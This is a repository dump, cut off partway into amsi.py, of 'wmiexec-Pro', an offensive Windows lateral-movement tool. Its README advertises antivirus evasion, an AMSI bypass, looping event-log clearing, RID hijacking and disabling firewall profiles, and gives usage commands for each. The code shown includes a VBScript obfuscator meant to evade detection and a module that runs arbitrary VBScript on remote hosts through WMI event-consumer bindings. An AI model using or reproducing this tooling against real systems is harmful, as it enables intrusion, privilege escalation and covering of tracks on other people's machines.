├── .gitignore
├── README.md
├── images
├── comand-exec.png
├── download-file.png
├── help.png
└── upload-file.png
├── lib
├── __init__.py
├── checkError.py
├── helpers.py
├── logger.py
├── methods
│ ├── Obfuscator.py
│ ├── __init__.py
│ ├── classMethodEx.py
│ └── executeVBS.py
├── modules
│ ├── __init__.py
│ ├── amsi.py
│ ├── enumrate.py
│ ├── eventlog_fucker.py
│ ├── exec_command.py
│ ├── filetransfer.py
│ ├── firewall.py
│ ├── hashdump.py
│ ├── rdp.py
│ ├── rid_hijack.py
│ ├── service_mgr.py
│ └── winrm.py
└── vbscripts
│ ├── ClearEventlog.vbs
│ ├── CreateClass.vbs
│ ├── Exec-Command-Silent-UnderNT6-II.vbs
│ ├── Exec-Command-Silent-UnderNT6.vbs
│ ├── Exec-Command-Silent.vbs
│ ├── Exec-Command-WithOutput-Shell.vbs
│ ├── Exec-Command-WithOutput-UnderNT6.vbs
│ ├── Exec-Command-WithOutput.vbs
│ ├── GrantSamAccessPermission.vbs
│ ├── LocalFileIntoClass.vbs
│ ├── RemoveTempFile.vbs
│ └── WriteFile.vbs
├── requirements.txt
├── todo
└── wmiexec-pro.py
/.gitignore:
--------------------------------------------------------------------------------
1 | lib/methods/__pycache__/
2 | lib/modules/__pycache__/
3 | lib/__pycache__/
4 | .ruff_cache
5 | save/
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # wmiexec-Pro
4 |
5 | New generation of wmiexec.py.
6 |
7 | #### Table of Contents
8 |
9 | -
10 | Info
11 |
12 | -
13 | Special thanks
14 |
15 | -
16 | Features
17 |
18 | -
19 | Getting Started
20 |
23 |
24 | - Usage
25 | - Screenshots
26 | - How it works?
27 | - Disclaimer
28 | - References
29 |
30 |
31 |
32 |
33 | ## Info
34 |
35 | The new generation of wmiexec.py, more new features, whole the operations only work with port 135 (don't need smb connection) for AV evasion in lateral movement (Windows Defender, HuoRong, 360)
36 |
37 | (back to top)
38 |
39 | ## Special thanks
40 |
41 | ##### @[422926799](https://github.com/422926799)
42 |
43 | (back to top)
44 |
45 | ## Features
46 |
47 | - Main feature: AV Evasion
48 | - Main feature: No `win32_process` needed
49 | - Main feature: Only need port 135.
50 | - New module: AMSI bypass
51 | - New module: File transfer
52 | - New module: Remote enable RDP via wmi class method
53 | - New module: Windows firewall abusing
54 | - New module: Eventlog looping cleaning
55 | - New module: Remote enable WinRM without touching CMD
56 | - New module: Service manager
57 | - New module: RID-Hijack
58 | - Enhancement: Get command execution output in new way
59 | - Enhancement: Execute vbs file
60 |
61 | (back to top)
62 |
63 | ## Getting Started
64 |
65 | ### Installation
66 |
67 | _Only need latest version of Impacket_
68 |
69 | 1. Clone the impacket repository
70 | ```sh
71 | git clone https://github.com/fortra/impacket
72 | ```
73 | 2. Install imapcket
74 | ```sh
75 | cd imapcket && sudo pip3 install .
76 | ```
77 | 3. Enjoy it :)
78 | ```sh
79 | git clone https://github.com/XiaoliChan/wmiexec-Pro
80 | ```
81 |
82 | (back to top)
83 |
84 |
85 | ## Usage
86 |
87 | ```
88 | python3 wmiexec-pro.py [[domain/]username[:password]@] module -h
89 |
90 | Basic enumeration:
91 | python3 wmiexec-pro.py administrator:password@192.168.1.1 enum -run
92 |
93 | Enable/disable amsi bypass:
94 | python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -enable
95 | python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -disable
96 |
97 | Execute command:
98 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -shell (Launch a semi-interactive shell)
99 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (Default is with output mode)
100 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent (Silent mode)
101 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
102 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
103 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -save (With output and save output to file)
104 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old -save
105 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -clear (Remove temporary class for command result storage)
106 |
107 | Filetransfer:
108 | python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
109 | python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
110 | python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -clear (Remove temporary class for file transfer)
111 |
112 | RDP:
113 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable (Auto configure firewall)
114 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable -old (For old version OS, such as server 2003)
115 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
116 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable
117 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
118 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable-ram (Disable Restricted Admin Mode)
119 |
120 | WinRM (Only support win7+):
121 | python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -enable
122 | python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -disable
123 |
124 | Firewall (Only support win8+):
125 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -search-port 445
126 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -dump (Dump all firewall rules)
127 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
128 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile enable (Enable all firewall profiles)
129 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile disable (Disable all firewall profiles)
130 |
131 | Services:
132 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
133 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
134 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action start -service-name "test"
135 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action stop -service-name "test"
136 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action disable -service-name "test"
137 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action auto-start -service-name "test"
138 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action manual-start -service-name "test"
139 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action getinfo -service-name "test"
140 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action delete -service-name "test"
141 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -dump all-services.json
142 |
143 | Eventlog:
144 | python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -risk-i-know (Looping cleaning eventlog)
145 | python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -retrive object-ID (Stop looping cleaning eventlog)
146 |
147 | RID Hijack:
148 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
149 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
150 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action activate (Activate user)
151 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action deactivate (Deactivate user)
152 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
153 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login enable (Enable blank password login)
154 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login disable
155 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 500 -action backup (This will save user profile data as json file)
156 | python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
157 | python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)
158 |
159 | ```
160 |
161 | (back to top)
162 |
163 |
164 | ## Screenshots
165 | - Help
166 | - 
167 |
168 | - exec-command
169 | - 
170 |
171 | - filetransfer
172 |
173 | - upload file
174 |
175 | 
176 |
177 | - download file
178 |
179 | 
180 |
181 | (back to top)
182 |
183 |
184 | ## How it works?
185 |
186 | - AMSI module:
187 | - Tal-Liberman's technique from blackhat asia 2018.
188 |
189 | - exec-command module:
190 | - Enhancement of previous project: [wmiexec-RegOut](https://github.com/XiaoliChan/wmiexec-RegOut), get output from wmi class instead of from registry.
191 |
192 | - filetransfer module:
193 | - For upload: encode the source file as base64 strings into the dropper named `WriteFile.vbs`, then create a new instance of object `ActiveScriptEventConsumer` to execute the dropper.
194 | - For download: remote create a class to store data, then execute the encoder `LocalFileIntoClass.vbs` to encode the file and store data into the class that just created.
195 |
196 | - rdp module:
197 | - For enable/disable: rdp serivces: control `TerminalServices` object directly.
198 | - For enable/disable: Restricted Admin Mode: control registry key `DisableRestrictedAdmin` via `StdRegProv` class.
199 |
200 | - winrm module:
201 | - For enable/disable: invoke service module.
202 | - For firewall rules: use module `firewall.py` to configure firewall of winrm.
203 |
204 | - firewall module:
205 | - Abusing `MSFT_NetProtocolPortFilter`, `MSFT_NetFirewallRule`, `MSFT_NetFirewallProfile` classes.
206 |
207 | - service module:
208 | - Abusing `Win32_Service` classes.
209 |
210 | - eventlog module:
211 | - Execute the vbs script file `ClearEventlog.vbs` without remove `event` and `consumer`.
212 |
213 | - execute-vbs module:
214 | - Picked from `wmipersist.py`.
215 |
216 | - classMethodEx method:
217 | - For create class: execute the vbs scritp : `CreateClass.vbs` to create simple class. (Why? Have no idea how to use `PutClass` method in impacket.)
218 | - For remove class: call `DeleteClass` method to remove class.
219 |
220 | (back to top)
221 |
222 | ## Disclaimer
223 | The spirit of this Open Source initiative is to help security researchers, and the community, speed up research and educational activities related to the implementation of networking protocols and stacks.
224 |
225 | The information in this repository is for research and educational purposes and not meant to be used in production environments and/or as part of commercial products.
226 |
227 | If you desire to use this code or some part of it for your own uses, we recommend applying proper security development life cycle and secure coding practices, as well as generate and track the respective indicators of compromise according to your needs.
228 |
229 | (back to top)
230 |
231 | ## References
232 |
233 | * [GhostPack/SharpWMI](https://github.com/GhostPack/SharpWMI)
234 | * [impacket](https://github.com/fortra/impacket/)
235 | * [WMIHACKER](https://github.com/rootclay/WMIHACKER)
236 | * [Microsoft WMI Docs](https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/operating-system-classes)
237 | * [Microsoft VBScripts Docs](https://learn.microsoft.com/en-us/windows/win32/wmisdk/creating-a-wmi-script)
238 |
239 | (back to top)
240 |
241 |
--------------------------------------------------------------------------------
/images/comand-exec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/comand-exec.png
--------------------------------------------------------------------------------
/images/download-file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/download-file.png
--------------------------------------------------------------------------------
/images/help.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/help.png
--------------------------------------------------------------------------------
/images/upload-file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/upload-file.png
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/lib/__init__.py
--------------------------------------------------------------------------------
/lib/checkError.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 |
4 | @staticmethod
5 | def checkError(banner, resp):
6 | logger = logging.getLogger("wmiexec-pro")
7 | call_status = resp.GetCallStatus(0) & 0xffffffff # interpret as unsigned
8 | if call_status != 0:
9 | from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
10 | try:
11 | error_name = WBEMSTATUS.enumItems(call_status).name
12 | except ValueError:
13 | error_name = "Unknown"
14 | logger.error(f"{banner} - ERROR: {error_name} {call_status:08x}")
15 | else:
16 | logger.info(f"{banner} - OK")
--------------------------------------------------------------------------------
/lib/helpers.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 |
4 | def get_vbs_path(filename):
5 | # The directory of the main file
6 | main_dir = os.path.dirname(os.path.abspath(sys.modules["__main__"].__file__))
7 |
8 | return os.path.join(main_dir, "lib", "vbscripts", filename)
--------------------------------------------------------------------------------
/lib/logger.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import logging
3 |
4 | from rich.theme import Theme
5 | from rich.console import Console
6 | from rich.logging import RichHandler
7 | from datetime import datetime
8 |
9 |
10 | class FlushHandler(logging.StreamHandler):
11 | def emit(self, record):
12 | record_time = datetime.fromtimestamp(record.created).strftime("[%y/%m/%d %H:%M:%S]")
13 | level_name = record.levelname.ljust(8)
14 | msg = self.format(record)
15 | formatted_msg = f"\r{record_time} {level_name} {msg}"
16 | stream = self.stream
17 | stream.write(formatted_msg)
18 | stream.flush()
19 |
20 | class Log:
21 | def __init__(self, log_level=logging.DEBUG):
22 | self.log_level = log_level
23 | self.wmi_console = Console(
24 | soft_wrap=True,
25 | tab_size=4,
26 | theme=Theme(
27 | {"logging.level.success": "green"}
28 | )
29 | )
30 | logging.basicConfig(
31 | format="%(message)s",
32 | datefmt="[%X]",
33 | handlers=[],
34 | encoding="utf-8"
35 | )
36 | self.setup_logger1()
37 | self.setup_logger2()
38 |
39 | def setup_logger1(self):
40 | logger = logging.getLogger("wmiexec-pro")
41 | logging.addLevelName(100, "SUCCESS")
42 | logger.setLevel(self.log_level)
43 | if not logger.handlers:
44 | logger.addHandler(
45 | RichHandler(
46 | console=self.wmi_console,
47 | rich_tracebacks=True,
48 | tracebacks_show_locals=False
49 | )
50 | )
51 |
52 | def setup_logger2(self):
53 | # Set up logging
54 | logger = logging.getLogger("CountdownLogger")
55 | logger.setLevel(self.log_level)
56 | # Use the custom handler
57 | if not logger.handlers:
58 | logger.addHandler(
59 | FlushHandler(sys.stdout)
60 | )
--------------------------------------------------------------------------------
/lib/methods/Obfuscator.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 |
4 |
5 | class VBSObfuscator:
6 | def __init__(self):
7 | pass
8 |
9 | def randCapitalization(self, characters):
10 | capicharacter = ""
11 | for character in characters:
12 | lowup = random.randrange(0,2)
13 | if lowup == 0:
14 | capicharacter += character.upper()
15 | if lowup == 1:
16 | capicharacter += character.lower()
17 | return capicharacter
18 |
19 | #Random mathematical expression decision
20 | def expr(self, char):
21 | range = random.randrange(100, 10001)
22 | exp = random.randrange(0, 3)
23 | if exp == 0:
24 | return f"{(range+char)!s}-{range!s}"
25 | if exp == 1:
26 | return f"{(char-range)!s}+{range!s}"
27 | if exp == 2:
28 | return f"{(char*range)!s}/{range!s}"
29 |
30 | def obfu(self, body):
31 | encBody = ""
32 | for i in range(0, len(body)):
33 | if not encBody:
34 | encBody += self.expr(ord(body[i]))
35 | else:
36 | encBody += f"*{self.expr(ord(body[i]))}"
37 | return encBody
38 |
39 | def generator(self, vbs_content=None):
40 | #Splitter is set to be the "*" symbol,
41 | #since we are not using it in obfuscation
42 | splitter = str(chr(42))
43 |
44 | #Random function names
45 | NUM_OF_CHARS = random.randrange(5, 60)
46 | pld = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS))
47 | array = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS))
48 | temp = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS))
49 | x = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS))
50 |
51 | #Random Sub names
52 | subOne = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS))
53 | subTwo = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS))
54 |
55 | #Write to destination file
56 | obfuscated_file = "{0}\n{1}\n{2}\n{3}\n{4}\n{5}\n{6}\n{7}\n{8}\n{9}\n{10}\n{11}\n{12}\n".format(
57 | self.randCapitalization(f"Dim {pld}, {array}, {temp}"),
58 | self.randCapitalization(f"Sub {subOne}"),
59 | f"{self.randCapitalization(f"{pld} = ")}{chr(34)}{self.obfu(vbs_content)}{chr(34)}",
60 | f"{self.randCapitalization(f"{array} = Split({pld}, chr(eval(")}{self.obfu(splitter)})))",
61 | self.randCapitalization(f"for each {x} in {array}"),
62 | f"{self.randCapitalization(f"{temp} = {temp} & chr(eval({x}")}))",
63 | self.randCapitalization("next"),
64 | self.randCapitalization(subTwo),
65 | self.randCapitalization("End Sub"),
66 | self.randCapitalization(f"Sub {subTwo}"),
67 | f"{self.randCapitalization(f"eval(execute({temp}")}))",
68 | self.randCapitalization("End Sub"),
69 | self.randCapitalization(subOne)
70 | )
71 |
72 | return obfuscated_file
--------------------------------------------------------------------------------
/lib/methods/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/lib/methods/__init__.py
--------------------------------------------------------------------------------
/lib/methods/classMethodEx.py:
--------------------------------------------------------------------------------
1 | import time
2 | import sys
3 | import logging
4 |
5 | from io import StringIO
6 | from lib.methods.executeVBS import executeVBS_Toolkit
7 | from impacket.dcerpc.v5.dtypes import NULL
8 | from lib.helpers import get_vbs_path
9 |
10 |
11 | class class_MethodEx():
12 | def __init__(self, iWbemLevel1Login):
13 | self.iWbemLevel1Login = iWbemLevel1Login
14 | self.logger = logging.getLogger("wmiexec-pro")
15 |
16 | # Have no idea how to use iWbemServices_Cimv2::PutClass create class object via impacket function remotely.
17 | # So lets we jump in vbs :)
18 | # Prepare for download file
19 | def create_Class(self, ClassName, iWbemServices_Cimv2=None, iWbemServices_Subscription=None, return_iWbemServices=False):
20 | with open(get_vbs_path("CreateClass.vbs")) as f:
21 | vbs = f.read()
22 |
23 | vbs = vbs.replace("REPLACE_WITH_CLASSNAME", ClassName)
24 |
25 | self.logger.info(f"Creating class: {ClassName}")
26 |
27 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
28 | # Login into subscription namespace
29 | if not iWbemServices_Subscription:
30 | iWbemServices_Subscription = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
31 | self.iWbemLevel1Login.RemRelease()
32 |
33 | tag, iWbemServices_Subscription = executer.ExecuteVBS(vbs_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription, return_iWbemServices=True)
34 |
35 | # Wait 5 seconds for next step.
36 | loger_flush = logging.getLogger("CountdownLogger")
37 | for i in range(5,0,-1):
38 | loger_flush.info(f"Waiting {i}s for next step.\r")
39 | time.sleep(1)
40 |
41 | # Check class creation status
42 | if not iWbemServices_Cimv2:
43 | iWbemServices_Cimv2 = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
44 | self.iWbemLevel1Login.RemRelease()
45 |
46 | try:
47 | iWbemServices_Cimv2.GetObject(f'{ClassName}.CreationClassName="Backup"')
48 | except Exception as e:
49 | self.logger.error(f"Unexpected error: {e!s}")
50 | executer.remove_Event(tag)
51 | else:
52 | self.logger.info(f"Class: {ClassName} has been created!")
53 | # Clean up
54 | self.logger.info("Stop vbs interval execution after created class.")
55 | executer.remove_Event(tag)
56 |
57 | # Return cimv2
58 | if return_iWbemServices:
59 | return iWbemServices_Cimv2, iWbemServices_Subscription
60 |
61 | def check_ClassStatus(self, ClassName, iWbemServices_Cimv2=None, iWbemServices_Subscription=None, return_iWbemServices=False):
62 | if not iWbemServices_Cimv2:
63 | iWbemServices_Cimv2 = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
64 | self.iWbemLevel1Login.RemRelease()
65 |
66 | try:
67 | iWbemServices_Cimv2.GetObject(f'{ClassName}.CreationClassName="Backup"')
68 | except Exception as e:
69 | if "WBEM_E_INVALID_CLASS" in str(e):
70 | self.logger.info(f"Class {ClassName} didn't exist, start creating class.")
71 | iWbemServices_Cimv2, iWbemServices_Subscription = self.create_Class(ClassName, iWbemServices_Cimv2=iWbemServices_Cimv2, iWbemServices_Subscription=iWbemServices_Subscription,return_iWbemServices=True)
72 | else:
73 | self.logger.error(f"Unexpected error: {e!s}")
74 | else:
75 | self.logger.info(f"Class: {ClassName} has been created!")
76 |
77 | # Return cimv2
78 | if return_iWbemServices:
79 | return iWbemServices_Cimv2, iWbemServices_Subscription
80 |
81 | def remove_Class(self, ClassName, iWbemServices_Cimv2=None, return_iWbemServices_Cimv2=False):
82 | if not iWbemServices_Cimv2:
83 | iWbemServices_Cimv2 = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
84 | self.iWbemLevel1Login.RemRelease()
85 |
86 | self.logger.info(f"Remove wmi class: {ClassName}")
87 | # Don't output verbose
88 | current=sys.stdout
89 | sys.stdout = StringIO()
90 | iWbemServices_Cimv2.DeleteClass(ClassName)
91 | sys.stdout = current
92 |
93 | # Return cimv2
94 | if return_iWbemServices_Cimv2:
95 | return iWbemServices_Cimv2
--------------------------------------------------------------------------------
/lib/methods/executeVBS.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import uuid
3 | import sys
4 |
5 | from io import StringIO
6 | from impacket.dcerpc.v5.dtypes import NULL
7 |
8 | from lib.checkError import checkError
9 |
10 |
11 | class executeVBS_Toolkit():
12 | def __init__(self, iWbemLevel1Login):
13 | self.iWbemLevel1Login = iWbemLevel1Login
14 | self.logger = logging.getLogger("wmiexec-pro")
15 |
16 | def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=1000, returnTag=False, BlockVerbose=False, iWbemServices=None, return_iWbemServices=False):
17 | if not vbs_content and vbs_file:
18 | with open(vbs_file, "r") as f:
19 | vbs_content = f.read()
20 |
21 | if not iWbemServices:
22 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
23 | self.iWbemLevel1Login.RemRelease()
24 |
25 | tag = f"windows-object-{str(uuid.uuid4())}"
26 |
27 | # Copy from wmipersist.py
28 | # Install ActiveScriptEventConsumer
29 | activeScript, _ = iWbemServices.GetObject("ActiveScriptEventConsumer")
30 | activeScript = activeScript.SpawnInstance()
31 | activeScript.Name = tag
32 | activeScript.ScriptingEngine = "VBScript"
33 | activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
34 | activeScript.ScriptText = vbs_content
35 | # Don't output verbose
36 | current=sys.stdout
37 | sys.stdout = StringIO()
38 | marshalled = activeScript.marshalMe()
39 | sys.stdout = current
40 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding ActiveScriptEventConsumer: {tag}", iWbemServices.PutInstance(marshalled))
41 |
42 | if filer_Query:
43 | eventFilter, _ = iWbemServices.GetObject("__EventFilter")
44 | eventFilter = eventFilter.SpawnInstance()
45 | eventFilter.Name = tag
46 | eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
47 | eventFilter.Query = filer_Query
48 | eventFilter.QueryLanguage = "WQL"
49 | eventFilter.EventNamespace = "root\\cimv2"
50 | # Don't output verbose
51 | current=sys.stdout
52 | sys.stdout = StringIO()
53 | marshalled = eventFilter.marshalMe()
54 | sys.stdout = current
55 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding EventFilter: {tag}", iWbemServices.PutInstance(marshalled))
56 |
57 | else:
58 | # Timer
59 | wmiTimer, _ = iWbemServices.GetObject("__IntervalTimerInstruction")
60 | wmiTimer = wmiTimer.SpawnInstance()
61 | wmiTimer.TimerId = tag
62 | wmiTimer.IntervalBetweenEvents = int(timer)
63 | #wmiTimer.SkipIfPassed = False
64 | # Don't output verbose
65 | current=sys.stdout
66 | sys.stdout = StringIO()
67 | marshalled = wmiTimer.marshalMe()
68 | sys.stdout = current
69 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding IntervalTimerInstruction: {tag}", iWbemServices.PutInstance(marshalled))
70 |
71 | # EventFilter
72 | eventFilter,_ = iWbemServices.GetObject("__EventFilter")
73 | eventFilter = eventFilter.SpawnInstance()
74 | eventFilter.Name = tag
75 | eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
76 | eventFilter.Query = f'select * from __TimerEvent where TimerID = "{tag}"'
77 | eventFilter.QueryLanguage = "WQL"
78 | eventFilter.EventNamespace = "root\\subscription"
79 | # Don't output verbose
80 | current=sys.stdout
81 | sys.stdout = StringIO()
82 | marshalled = eventFilter.marshalMe()
83 | sys.stdout = current
84 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding EventFilter: {tag}", iWbemServices.PutInstance(marshalled))
85 |
86 | # Binding EventFilter & EventConsumer
87 | filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding')
88 | filterBinding = filterBinding.SpawnInstance()
89 | filterBinding.Filter = f'__EventFilter.Name="{tag}"'
90 | filterBinding.Consumer = f'ActiveScriptEventConsumer.Name="{tag}"'
91 | filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
92 | # Don't output verbose
93 | current=sys.stdout
94 | sys.stdout = StringIO()
95 | marshalled = filterBinding.marshalMe()
96 | sys.stdout = current
97 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError("Adding FilterToConsumerBinding", iWbemServices.PutInstance(marshalled))
98 |
99 | if returnTag:
100 | if return_iWbemServices:
101 | return tag, iWbemServices
102 | else:
103 | return tag
104 |
105 | def remove_Event(self, tag, BlockVerbose=False, iWbemServices=None):
106 | if not iWbemServices:
107 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
108 | self.iWbemLevel1Login.RemRelease()
109 |
110 | if BlockVerbose:
111 | iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{tag}"')
112 | iWbemServices.DeleteInstance(f'__EventFilter.Name="{tag}"')
113 | iWbemServices.DeleteInstance(f'__IntervalTimerInstruction.TimerId="{tag}"')
114 | iWbemServices.DeleteInstance(rf'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{tag}\"",Filter="__EventFilter.Name=\"{tag}\""')
115 | else:
116 | checkError('Removing ActiveScriptEventConsumer: %s' % tag, iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{tag}"'))
117 | checkError('Removing EventFilter: %s' % tag, iWbemServices.DeleteInstance(f'__EventFilter.Name="{tag}"'))
118 | checkError('Removing IntervalTimerInstruction: %s' % tag, iWbemServices.DeleteInstance(f'__IntervalTimerInstruction.TimerId="{tag}"'))
119 | checkError('Removing FilterToConsumerBinding', iWbemServices.DeleteInstance(rf'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{tag}\"",Filter="__EventFilter.Name=\"{tag}\""'))
120 |
121 | def deep_RemoveEvent(self, iWbemServices=None):
122 | if not iWbemServices:
123 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
124 | self.iWbemLevel1Login.RemRelease()
125 |
126 | for i in ["ActiveScriptEventConsumer", "__EventFilter", "__IntervalTimerInstruction", "__FilterToConsumerBinding"]:
127 | while True:
128 | try:
129 | iEnumWbemClassObject = iWbemServices.ExecQuery(f"select * from {i}")
130 | class_ = iEnumWbemClassObject.Next(0xffffffff,1)[0]
131 | if i == "__IntervalTimerInstruction":
132 | checkError(f"Removing {i}: {class_.TimerId}", iWbemServices.DeleteInstance(f'{i}.Name="{class_.TimerId}"'))
133 | elif i == "__FilterToConsumerBinding":
134 | checkError(f"Removing {i}", iWbemServices.DeleteInstance(rf'__FilterToConsumerBinding.Consumer="{class_.Consumer.replace('"','\\"')}",Filter="{class_.Filter.replace('"','\\"')}"'))
135 | else:
136 | checkError(f"Removing {i}: {class_.Name}", iWbemServices.DeleteInstance(f'{i}.Name="{class_.Name}"'))
137 | except Exception as e:
138 | if str(e).find("S_FALSE") < 0:
139 | pass
140 | else:
141 | self.logger.info(f"{i} has been cleaned!")
142 | break
143 |
--------------------------------------------------------------------------------
/lib/modules/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/lib/modules/__init__.py
--------------------------------------------------------------------------------
/lib/modules/amsi.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from impacket.dcerpc.v5.dtypes import NULL
4 |
5 |
6 | class AMSI():
